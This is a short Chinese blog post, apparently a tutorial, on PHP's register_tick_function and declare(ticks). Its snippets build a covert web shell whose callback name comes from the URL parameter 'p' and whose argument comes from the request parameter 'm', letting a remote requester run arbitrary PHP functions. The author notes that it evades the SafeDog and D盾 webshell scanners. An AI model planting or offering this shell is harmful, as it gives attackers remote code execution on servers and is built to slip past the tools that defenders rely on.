摘要:昨天已经解释过declare与register_tick_function,那什么时候用到这些呢?今天就来稍微举例说明一下。register_tick_function可以看做一个回调函数,而这个函数...
昨天已经解释过declare与register_tick_function,那什么时候用到这些呢?今天就来稍微举例说明一下。
register_tick_function可以看做一个回调函数,而这个函数却很少人用,我们有些地方可以利用这个函数来做一些秘密的事情~
不懂?怎么可以执行自己想要的函数呢?
简单举例:
<?php $s = "ss.ss.$_GET[p]"; $c = explode(".",$s); register_tick_function($c[2]); declare(ticks = 2);
猜猜上面这段代码能干啥。。。。
显然这个回调函数是由我们来控制的。。。。
这下懂了吧。。。
当然register_tick_function还有第二个参数,就是为该回调的函数传参用的,比如:
<?php function doticks ($a = ''){ echo 'ticks<br>'; echo $a; } register_tick_function('doticks', $_GET['p']); declare(ticks = 2);
执行结果:
注:最最主要的是这些代码 “狗狗” 和 “D盾” 都未发觉。。。。
最后在献上一点代码,朋友们看看这段代码能做什么呢?
<?php $s = "ss.ss.$_GET[p]"; $c = explode(".",$s); register_tick_function($c[2], $_REQUEST['m']); declare(ticks = 2);